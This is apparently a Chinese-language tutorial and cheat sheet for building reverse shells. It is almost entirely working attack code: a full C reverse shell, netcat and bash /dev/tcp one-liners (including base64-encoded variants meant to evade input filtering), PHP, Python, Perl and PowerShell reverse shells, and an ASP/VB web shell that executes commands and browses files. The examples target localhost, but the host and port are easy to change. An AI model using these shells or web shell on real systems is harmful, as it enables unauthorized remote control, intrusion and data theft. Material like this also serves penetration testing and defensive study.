Reverse Shell
已知生火
Basic
在 Reverse Shell 的世界中,最基本兩點在於 1) 建立網路連線與 2) 產生一個 shell 環境。透過 C 實做這個概念,就需要產生兩個主要的部分:socket 與 execv。socket 是用來建立一個網路連線, reverse 的意思就是在受害者端主動建立連線,這種方式就可以避免主機因為開啟特定監聽 (listen) port 而觸發防火牆原則。
下面的範例程式在建立好 socket 之後,透過執行 dup2 將三個標準 I/O 重新導向到綁定的網路連線, 接著透過 execv 執行一個 shell,攻擊者就可以連線到目標主機 (權限同執行 reverse shell)。
/* Copyright (C) 2017-2017 cmj. All right reserved. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <sys/socket.h>
/* Simple reverse shell written by C
*
* It only test on the Mac OS X 10.12.6 by Apple LLVM 9.0.0 (clang-900.0.38)
*/
#define SH "/bin/sh"
#if DEBUG
# define _D(msg, ...)
#else
# define _D(msg, ...) fprintf(stderr, "[%s %3d] " msg "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#endif
int main(int argc, char *argv[]) {
int sk = -1, optIdx = -1, port = 34182, cnt = 1;
char ch, opts[] = "hH:p:r:", addr[16] = {0};
struct option options[] = {
{"help", no_argument, 0, 'h'},
{"host", required_argument, 0, 'H'},
{"port", required_argument, 0, 'p'},
{"retry", required_argument, 0, 'r'},
{NULL, 0, 0, 0}
};
struct hostent *hostent = NULL;
struct sockaddr_in server;
while (-1 != (ch = getopt_long(argc, argv, opts, options, &optIdx))) {
switch (ch) {
case 'H':
snprintf(addr, sizeof(addr), "%s", optarg);
break;
case 'p':
port = atoi(optarg);
break;
case 'r':
cnt = atoi(optarg);
break;
default:
fprintf(stderr, "%s [-p port:34182] [-H host]\n", argv[0]);
exit(-1);
break;
}
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(addr);
server.sin_port = htons(port);
/* check the target host is valid */
if (NULL == (hostent = gethostbyname(addr))) {
_D("gethostbyname `%s` failure %s", addr, strerror(errno));
return -1;
}
/* retry connection */
while (cnt > 0) {
if (sk >= 0) close(sk);
if (0 > (sk = socket(AF_INET, SOCK_STREAM, 0))) {
_D("sock create failure %s", strerror(errno));
cnt --;
continue;
} else if (0 > connect(sk, (struct sockaddr *)&server, sizeof(server))) {
_D("connect failure %s", strerror(errno));
cnt --;
continue;
}
dup2(sk, 0); /* STDIN */
dup2(sk, 1); /* STDOUT */
dup2(sk, 2); /* STDERR */
execv(SH, NULL);
break;
}
return 0;
}
另一種方式則是透過現有的工具程式 Net Cat :他可以透過指令的方式連線到指定目標,並且透過 -e 來執行指令:
nc -d 127.0.0.1 34182 -e /bin/sh
Linux
針對 Linux 的環境中,最簡單的一個 reverse shell 就是直接藉由 bash -i 這種互動 shell 來執行 ,另一方面,則是透過 /dev/tcp 這個特殊裝置來產生對外連線。整合起來就可以透過一個簡單的指令, 來產生 reverse shell:
> bash -i >& /dev/tcp/127.0.0.1/34182 0>&1
上面這個指令的意思,是將 stdout/stderr 全部轉向 到檔案 /dev/tcp/127.0.01/34182,接著再將 stdin 轉向到 stdout。但是在遇到輸入內容被過濾時,則需要使用 base64 做額外的編碼:
> echo "/bin/sh -i >& /dev/tcp/127.0.0.1/34182 0>&1" | sh
> echo -n "/bin/sh -i >& /dev/tcp/127.0.0.1/34182 0>&1" | base64 | base64 -d | sh
> echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTU2NiAwPiYx | base64 -d | sh
透過這個概念就可以針對各種程式語言,來設計出相對的 reverse shell:
PHP
在 PHP 階段開啟一個 web socket (預計他的 File Descriptor 會是 3),所以將 socket 收到的內容, 重新導向給 bash 而產生的內容再透過 socket 送出去。
<?php $sk = fsockopen("127.0.0.1", 34182); exec("/bin/bash -i <&3 >&3 2>&3"); ?>
Python
跟 PHP 一樣的概念:產生一個 socket 並且透過 os.popen 產生 reverse shell:
import socket, os;
sk = socket.create_connection(("127.0.0.1", 34182));
fd = sk.fileno();
os.popen("bash -i <&{0} >&{0} 2>&{0}".format(fd));
Python3
在 Python3 版本中需要做一些修改
import socket, os, subprocess;
sk = socket.create_connection(("127.0.0.1", 34182));
fd = sk.fileno();
subprocess.Popen(["/bin/sh", "-c", f"/bin/sh -i <{fd} >&{fd} 2>&{fd}"]);
Perl
跟 PHP 一樣的概念:產生一個 socket 並且透過 exec("/bin/sh -i") 產生 reverse shell:
use Socket;
socket(s, AF_INET, SOCK_STREAM, 0);
connect(s, pack_sockaddr_in(34182, inet_aton("127.0.0.1"))) or die;
open(STDIN, ">&s"); open(STDOUT, ">&s"); open(STDERR, ">&s");
exec("/bin/sh -i");
Windows
ASP / VB
在 VB 的世界中,可以用 CreateObject(“Wscript.Shell”) 來執行一個可執行檔。想要執行的檔案, 可預先放到機器中,或者透過 CreateObject(“Scripting.FileSystemObject”) 來建立一個檔案。
<HTML>
<%
Set NET = Server.CreateObject("WSCRIPT.NETWORK")
Set SHELL = Server.CreateObject("WSCRIPT.SHELL")
Set FILE = Server.CreateObject("Scripting.FileSystemObject")
cmd = request("cmd")
path = request("path")
ftype = request("type")
computer = NET.UserName & "@" & NET.ComputerName
Response.Write("<h2>Computer " & computer & "</h2><BR>")
%>
<form action='' method='GET'>
<label># </label><input type='text' name='cmd' value="<%=cmd%>">
<input type='text' name='path' value="<%=path%>" hidden/>
<input type='text' name='type' value="<%=ftype%>" hidden/>
<input type='submit'>
</form>
<BR>
<%
If path = "" then
path = "C:\"
End If
if ftype = "" then
ftype = 1
End If
If cmd <> "" then
set resp = SHELL.exec(cmd)
Response.Write("<pre style='width:800px;'>----<br>")
Response.Write("> " & cmd & "<br>")
Response.Write(resp.StdOut.ReadAll)
Response.Write(resp.StdErr.ReadAll)
Response.Write("<br>----</pre>")
End If
If ftype = 1 then
ListDir(path)
ElseIf ftype = 2 then
ReadFile(path)
End If
%>
<%
Sub ReadFile(path)
set ptr = FILE.OpenTextFile(path, 1)
Response.Write("<pre style='width:800px;'> ---- <br>")
Response.Write(ptr.ReadAll)
Response.Write("</pre>")
End Sub
Sub ListDir(path)
Set FOLDER = FILE.GetFolder(path)
tmp = "+ <a href='?path=" & path & "\..'>..</a>"
Response.Write(tmp & "<BR>")
for each x in FOLDER.SubFolders
tmp = "+ <a style='display: inline-block; margin-right: 50px;' href='?type=1&path=" & server.URLencode(x.path) & "'>" & x.Name & "</a>"
Response.Write(tmp & "<BR>")
next
for each x in FOLDER.Files
tmp = "- <a style='display: inline-block; margin-right: 50px;' href='?type=2&path=" & server.URLencode(x.path) & "'>" & x.Name & "</a>"
tmp = tmp & "<label>" & x.Size & "</label>"
Response.Write(tmp & "<BR>")
next
End Sub
%>
PowerShell
網路上找到的 PowerShell Reverse Shell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 34182);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()